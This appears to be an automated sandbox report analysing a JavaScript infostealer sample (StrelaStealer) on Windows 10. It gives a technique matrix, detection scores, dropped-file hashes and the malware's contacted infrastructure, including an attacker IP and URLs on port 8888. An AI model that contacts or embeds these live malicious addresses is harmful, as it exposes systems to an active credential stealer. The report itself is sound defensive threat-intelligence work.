Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
240815025266174071.js	5%	Virustotal		Browse
240815025266174071.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacesJ	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Dy	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2633601202.00000249E0E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pacesJ	net.exe, 00000007.00000002.1409217712.0000024D31548000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1409217712.0000024D3159F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1409217712.0000024D31548000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1409217712.0000024D31571000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Dy	net.exe, 00000007.00000002.1409217712.0000024D31571000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1410781150.00000249E1000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588306
Start date and time:	2025-01-10 23:45:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	240815025266174071.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 162.159.61.3, 172.64.41.3, 23.209.209.135, 199.232.210.172, 184.28.90.27, 2.16.168.105, 2.16.168.107, 13.107.246.45, 3.233.129.217, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:46:23	API Interceptor	21x Sleep call for process: powershell.exe modified
17:46:26	API Interceptor	1x Sleep call for process: net.exe modified
17:46:26	API Interceptor	2x Sleep call for process: svchost.exe modified
17:46:33	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	hgq5nzWJll.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	WN9uCxgU1T.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Full-Ver_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.45
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	Qz8OEUxYuH.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	ztcrKv3zFz.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	gH3LlhcRzg.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	3j7f6Bv4FT.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	rComprobante_swift_8676534657698632.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
bg.microsoft.map.fastly.net	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.493208484855921
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaU:cJhXC9lHmutpJyiRDeJ/aUKrDgnmB
MD5:	281FEE6DC15F178FD7EECDDC88CF9D14
SHA1:	512F967B07986D9592A5882375DDFAB975F6177A
SHA-256:	F72522369D84028457368F856D3711989574017024A7AA9AA08C563F13B1C4F7
SHA-512:	D90769030FE70AFDD783F966414231D8070F9E36A11378088A8E5A7F4DA9B4B89C38BAFBB1FE0C2DA276394F38D3704583C2AECF889185386312ECFE42243228
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4a701de0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216646476867503
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:LazaNvFv8V2UW/DLzN/w4wZi
MD5:	3D6BC59F364C88ED278317673A637E02
SHA1:	5EF1F15C1C9D57C5F13120209A29217F81429721
SHA-256:	5E93D1EDBC536E45A75A7C03C0B85FDCA30E21346C9611EC7797DE81319C3E50
SHA-512:	4E3904D80802DD89D9356C5840D7E57F45057CDA8E961E4CA503387C3AD6718D69EF558E79ECCDDB0288F28D83C91C90B12A593616023106D2AC942408D0939E
Malicious:	false
Preview:	Jp..... ...............X\...;...{......................p.D..........{}......}k.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...................................5.m.....}....................Wa.....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07990989895356371
Encrypted:	false
SSDEEP:	3:TPllKYeJPk5gpsgr/fgsCrZClW/txvkYqlltall+SHY/Xl+/rQLve:DllKzJcWxfgs3GnJeeAS4M
MD5:	8125266ACE13BA9DA67533EA5DE23AEC
SHA1:	E76F3FC6C84CA07A744CA0073C1D047FACFC9002
SHA-256:	FFED075468758C38EAD2D8B42DA58CEC8E78907417EC06BCDEEEB918BBB9822C
SHA-512:	8F33D36E16E2994C0EC69E103E4FBC7BF2620FE8E387B25150DEC091E01E00CE35B7305944D515A25FC08602532A6C5D07C176C796BD164BF8636C820953AA70
Malicious:	false
Preview:	.gn+.....................................;...{.......}.......{}..............{}......{}.vv_Q.....{}...................Wa.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.230691477366327
Encrypted:	false
SSDEEP:	6:iO4+X+AVq2PqLTwi2nKuAl9OmbnIFUtS+XCBZAgZmws+XCBZAIkwOqLTwi2nKuAR:73Xdv8wZHAahFUttXCh/TXC75TwZHAae
MD5:	5ED73990F3898DCEC8C160BAC4AFAAFE
SHA1:	DAB543DC474CE53C402458582B7C9575C0327C65
SHA-256:	69AD2CA1AEE91EC73D0E73D66D3D58B4871B1E7B84E8A3927C59B1EA94168D1F
SHA-512:	D00CA812E113967A3DCF439619A9405729C9D90CB880A65E77E3AACEC293B27CDD1A5DDCB55A8732A7106859CDC2BCA284366ECB28FFB1BF5D2DE718060A2C4D
Malicious:	false
Preview:	2025/01/10-17:46:26.686 1d40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:46:26.688 1d40 Recovering log #3.2025/01/10-17:46:26.688 1d40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.230691477366327
Encrypted:	false
SSDEEP:	6:iO4+X+AVq2PqLTwi2nKuAl9OmbnIFUtS+XCBZAgZmws+XCBZAIkwOqLTwi2nKuAR:73Xdv8wZHAahFUttXCh/TXC75TwZHAae
MD5:	5ED73990F3898DCEC8C160BAC4AFAAFE
SHA1:	DAB543DC474CE53C402458582B7C9575C0327C65
SHA-256:	69AD2CA1AEE91EC73D0E73D66D3D58B4871B1E7B84E8A3927C59B1EA94168D1F
SHA-512:	D00CA812E113967A3DCF439619A9405729C9D90CB880A65E77E3AACEC293B27CDD1A5DDCB55A8732A7106859CDC2BCA284366ECB28FFB1BF5D2DE718060A2C4D
Malicious:	false
Preview:	2025/01/10-17:46:26.686 1d40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:46:26.688 1d40 Recovering log #3.2025/01/10-17:46:26.688 1d40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.235840109881218
Encrypted:	false
SSDEEP:	6:iO4+XGjUJN+q2PqLTwi2nKuAl9Ombzo2jMGIFUtS+XGQgZmws+XGJKNVkwOqLTwy:73XnJIv8wZHAa8uFUttXHg/TXsKz5Twy
MD5:	37BF70FE2D73F4C046184C5E5B5A914B
SHA1:	4504207583DACC1DB2EA77742BC24447E80DEAC0
SHA-256:	F2B9519478BCB2B92DD5A04D5B741156211065ACA50B502B16D07C528E8BB4F2
SHA-512:	6EF01A632469C8B88C2307DCD881FD481725FE662521A1628B06DE6AF7B5C2A2B98F78EEE2712E09B760B292E8796F5ACB427A5BD00A101BD1B3B0808918511D
Malicious:	false
Preview:	2025/01/10-17:46:26.704 1598 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:46:26.705 1598 Recovering log #3.2025/01/10-17:46:26.706 1598 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.235840109881218
Encrypted:	false
SSDEEP:	6:iO4+XGjUJN+q2PqLTwi2nKuAl9Ombzo2jMGIFUtS+XGQgZmws+XGJKNVkwOqLTwy:73XnJIv8wZHAa8uFUttXHg/TXsKz5Twy
MD5:	37BF70FE2D73F4C046184C5E5B5A914B
SHA1:	4504207583DACC1DB2EA77742BC24447E80DEAC0
SHA-256:	F2B9519478BCB2B92DD5A04D5B741156211065ACA50B502B16D07C528E8BB4F2
SHA-512:	6EF01A632469C8B88C2307DCD881FD481725FE662521A1628B06DE6AF7B5C2A2B98F78EEE2712E09B760B292E8796F5ACB427A5BD00A101BD1B3B0808918511D
Malicious:	false
Preview:	2025/01/10-17:46:26.704 1598 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:46:26.705 1598 Recovering log #3.2025/01/10-17:46:26.706 1598 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0f3761ad-f0fb-42c5-afce-87b95941665e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.95774050953709
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPUYsBdOg2Hqgcaq3QYiub5P7E4T3y:Y2sRdsgYdMHqL3QYhbt7nby
MD5:	38D9CB28594941FDA1EEF3BB7186F2BB
SHA1:	27A0CCBFD3A2FE57640830A4AE0D9D91D853E84E
SHA-256:	A53A39E16B4B22291A034EA2009BA5A1D759BB57FF85A29B85F352EE7017BCC5
SHA-512:	70BF5D1CD8E48C10084658BED5AABE31A67D6B3AB8A2F2A2D7A375974236766E4DC73894C425E283B1FB3ACDB7C90F5F9FCFBA49746CD64DC9A63C60BC43CFF6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109198535019","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125489},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.95774050953709
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPUYsBdOg2Hqgcaq3QYiub5P7E4T3y:Y2sRdsgYdMHqL3QYhbt7nby
MD5:	38D9CB28594941FDA1EEF3BB7186F2BB
SHA1:	27A0CCBFD3A2FE57640830A4AE0D9D91D853E84E
SHA-256:	A53A39E16B4B22291A034EA2009BA5A1D759BB57FF85A29B85F352EE7017BCC5
SHA-512:	70BF5D1CD8E48C10084658BED5AABE31A67D6B3AB8A2F2A2D7A375974236766E4DC73894C425E283B1FB3ACDB7C90F5F9FCFBA49746CD64DC9A63C60BC43CFF6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109198535019","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125489},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.226982059715928
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz1HmyV5Q:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz1C
MD5:	4811B71FF6547A6D872A93CB0DE1A3C4
SHA1:	D50A572C25FF3968823C6563993414A7557D9447
SHA-256:	81DD9BFE007938E9A8538B28E551D99FA393DFA485A441948DC01569DCD5F869
SHA-512:	FC4EF15DC55B49DD5CFD2C5E5985089B1709B703745314B2598D3861D286A0A6E46A33EF79BDB85FD9CAECFAFE15EEB000A3147DEE67C8DD43DA6DC814818A6E
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.259613718383222
Encrypted:	false
SSDEEP:	6:iO4+XMoJN+q2PqLTwi2nKuAl9OmbzNMxIFUtS+XMFZmws+XMbkNVkwOqLTwi2nKA:73XMoJIv8wZHAa8jFUttXMF/TXMQz5TQ
MD5:	B08A74B640CED60D904CA12DACA3C316
SHA1:	9996D137C0E961259360B867778CF9E862D14B3A
SHA-256:	31F30D8C08596D8A324AF9648C5D0664029CCE1FFFAC131C2B16E0B5176DD5F0
SHA-512:	3DA745C19F9077CB4B847D381248207A45544E9D4CEE13D7F61425D97448E1D1CCC6C8E12AD5F16024CE9210F3FE5EF3AD5A9C0355BE71852D8EFB2DE8B8FB91
Malicious:	false
Preview:	2025/01/10-17:46:26.984 1598 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:46:26.985 1598 Recovering log #3.2025/01/10-17:46:26.986 1598 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.259613718383222
Encrypted:	false
SSDEEP:	6:iO4+XMoJN+q2PqLTwi2nKuAl9OmbzNMxIFUtS+XMFZmws+XMbkNVkwOqLTwi2nKA:73XMoJIv8wZHAa8jFUttXMF/TXMQz5TQ
MD5:	B08A74B640CED60D904CA12DACA3C316
SHA1:	9996D137C0E961259360B867778CF9E862D14B3A
SHA-256:	31F30D8C08596D8A324AF9648C5D0664029CCE1FFFAC131C2B16E0B5176DD5F0
SHA-512:	3DA745C19F9077CB4B847D381248207A45544E9D4CEE13D7F61425D97448E1D1CCC6C8E12AD5F16024CE9210F3FE5EF3AD5A9C0355BE71852D8EFB2DE8B8FB91
Malicious:	false
Preview:	2025/01/10-17:46:26.984 1598 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:46:26.985 1598 Recovering log #3.2025/01/10-17:46:26.986 1598 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438568373807238
Encrypted:	false
SSDEEP:	384:ye+ci5G1iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:p5urVgazUpUTTGt
MD5:	52DA01352C93A5479BBA85F63C6C6F36
SHA1:	2C30054BA59112E0F326C89C6F578BCA752C8E4D
SHA-256:	7E6C9B0AE211261A708E36E723AF83FAECC855182FB5B83313052B2752152F93
SHA-512:	A00E497B94513CAC20B8344455DC3B8E51FA993A245D87F096115A276419DF21F631DEAB0B33D3C5FD0E68A1F3EFE6D9AE3735414C7B8BC0790A51BEDF4C5D80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.76991569834025
Encrypted:	false
SSDEEP:	48:7MbJioyVvioyvoy1C7oy16oy1FKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Ob:70Juv9MXjBiHb9IVXEBodRBkc
MD5:	02FE43432887674303EC521099F56C2C
SHA1:	00D87AEF19C1FCF6AF4CFF34E2A4E7B561DE3C30
SHA-256:	EA1421467FF8F061F28929178ACD0B4482BBE555B0F68F7367F58FB789DCC0A2
SHA-512:	85C85F522BAE99C0551455659E6A78D9797F26CEDDBD223FF83BA4CFC9890E62D36B823012D2947687EE8836F70A4423DD967C2F864E2A1CBC925271EC1FCF14
Malicious:	false
Preview:	.... .c........F...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
